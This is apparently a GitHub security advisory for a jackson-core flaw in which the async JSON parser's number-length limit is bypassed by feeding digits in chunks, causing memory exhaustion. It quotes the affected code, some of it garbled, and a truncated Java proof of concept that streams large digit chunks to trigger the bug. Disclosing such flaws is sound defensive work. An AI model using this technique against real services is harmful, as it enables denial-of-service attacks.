GitHub Advisoryadvisory · Maven

GHSA-r7wm-3cxj-wff9 jackson-core: Async parser maxNumberLength bypass via chunked digit accumulation (incomplete fix for GHSA-72hv-8253-57qq)

HIGH Published 2026-07-21 Modified 2026-10-02 Official page ↗
Aliases
CVE-2026-68494
Ecosystem
Maven
Packages
com.fasterxml.jackson.core:jackson-core, tools.jackson.core:jackson-core
Severity
High
CVSS vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Weaknesses
CWE-770
Reviewed
2026-07-21

Affected packages

• Maven com.fasterxml.jackson.core:jackson-core: < 2.18.8 → fixed in 2.18.8 • Maven com.fasterxml.jackson.core:jackson-core: >= 2.19.0, < 2.21.4 → fixed in 2.21.4 • Maven tools.jackson.core:jackson-core: >= 3.0.0, < 3.1.4 → fixed in 3.1.4

Description

Summary The fix released in jackson-core `2.18.6` and `2.21.1` for GHSA-72hv-8253-57qq (Number Length Constraint Bypass in Async Parser, published 2026-02-28) is incomplete. The fix commit `b0c428e6` (#1555) wired `validateIntegerLength` into a new `_setIntLength` helper and called it at every place where the integer portion of a number is *decided* (terminator byte arrived, `.` / `e/E` seen, end-of-feed inside a fully-buffered value). It did not call it on the much more attacker-relevant path: "ran out of input while still inside `MINOR_NUMBER_INTEGER_DIGITS`, return `NOT_AVAILABLE` to caller". As a result, an attacker who streams JSON to a non-blocking parser in many small chunks, without ever sending a terminator byte, can keep the parser inside `MINOR_NUMBER_INTEGER_DIGITS` indefinitely. `_textBuffer.expandCurrentSegment()` grows on every chunk, and `validateIntegerLength` is never invoked. The accumulator is only gated by `maxStringLength` (20 MiB default) — a ~20,000x amplification of the documented `maxNumberLength` (1000 default). This is the same vulnerability class, same advisory wording ("Memory Exhaustion: Unbounded allocation in TextBuffer from excessively long numbers"), same parser class — just the streaming path the original fix didn't cover. The fix to the *fraction* path is correct (see `_finishFloatFraction` at line 1834-1837 of `NonBlockingUtf8JsonParserBase.java` in 2.18.6, where `_setFractLength(fractLen)` IS called before the `NOT_AVAILABLE` return); the equivalent call is missing from every integer-digit path. Affected versions Verified on the patched releases: • `com.fasterxml.jackson.core:jackson-core` 2.18.6 • `com.fasterxml.jackson.core:jackson-core` 2.21.1 Structurally identical code in `tools.jackson.core` 3.0.x / 3.1.x — same `NonBlockingUtf8JsonParserBase` class, same `_setIntLength` rollout, same NOT_AVAILABLE returns without validation. Not retested but presumed vulnerable. Affected code `src/main/java/com/fasterxml/jackson/core/json/async/NonBlockingUtf8JsonParserBase.java` in 2.18.6 / 2.21.1. Site 1 — `_startPositiveNumber(int ch)` lines 1320-1330: ```java if (outPtr >= outBuf.length) { // NOTE: must expand to ensure contents all in a single buffer (to keep // other parts of parsing simpler) outBuf = _textBuffer.expandCurrentSegment(); } outBuf[outPtr++] = (char) ch; if (++_inputPtr >= _inputEnd) { _minorState = MINOR_NUMBER_INTEGER_DIGITS; _textBuffer.setCurrentLength(outPtr); return _updateTokenToNA(); // = _inputEnd) { _minorState = MINOR_NUMBER_INTEGER_DIGITS; _textBuffer.setCurrentLength(outPtr); return _updateTokenToNA(); // INT_9) { if ((ch | 0x20) == INT_e) { _setIntLength(outPtr+negMod); // = outBuf.length) { outBuf = _textBuffer.expandCurrentSegment(); } outBuf[outPtr++] = (char) ch; } _setIntLength(outPtr+negMod); // = INT_0 && ch = outBuf.length) { outBuf = _textBuffer.expandCurrentSegment(); } outBuf[outPtr++] = (char) ch; if (_inputPtr >= _inputEnd) { _textBuffer.setCurrentLength(outPtr); _setFractLength(fractLen); // PoC.java <<'EOF' import com.fasterxml.jackson.core.*; import com.fasterxml.jackson.core.async.ByteArrayFeeder; public class PoC { public static void main(String[] args) throws Exception { StreamReadConstraints strict = StreamReadConstraints.builder() .maxNumberLength(1000) .build(); JsonFactory f = new JsonFactoryBuilder() .streamReadConstraints(strict) .build(); // Sanity: synchronous parser rejects 5000-digit int. try (JsonParser p = f.createParser("{\"v\":" + "1".repeat(5000) + "}")) { while (p.nextToken() != null) { /* drive */ } System.out.println("[-] BUG ABSENT: sync parser accepted"); return; } catch (Exception e) { System.out.println("[+] sync parser rejected 5000-digit int: " + e.getClass().getSimpleName()); } // Bug: async parser, chunked, no terminator. JsonParser ap = f.createNonBlockingByteArrayParser(); ByteArrayFeeder feeder = (ByteArrayFeeder) ap; byte[] preamble = "{\"v\":".getBytes("UTF-8"); feeder.feedInput(preamble, 0, preamble.length); while (ap.nextToken() != JsonToken.NOT_AVAILABLE) { /* drain */ } byte[] digits = new byte[16 * 1024]; for (int i = 0; i < digits.length; i++) digits[i] = (byte) ('1' + (i % 9)); for (int c = 0; c < 600; c++) { feeder.feedInput(digits, 0, digits.length); JsonToken t = ap.nextToken(); if (t != JsonToken.NOT_AVAILABLE) { System.out.println("[-] unexpected token: " + t); return; } } System.out.println("[+] BUG PRESENT: async…

Related

Alias · CVE (1)

  • CVE-2026-68494 The fix released in jackson-core 2.18.6 and 2.21.1 for CVE-2026-18401 (GHSA-72hv-8253-57qq, number length constraint bypass in the… vulnerability

Weakness · CWE (1)

  • CWE-770 Allocation of Resources Without Limits or Throttling weakness

References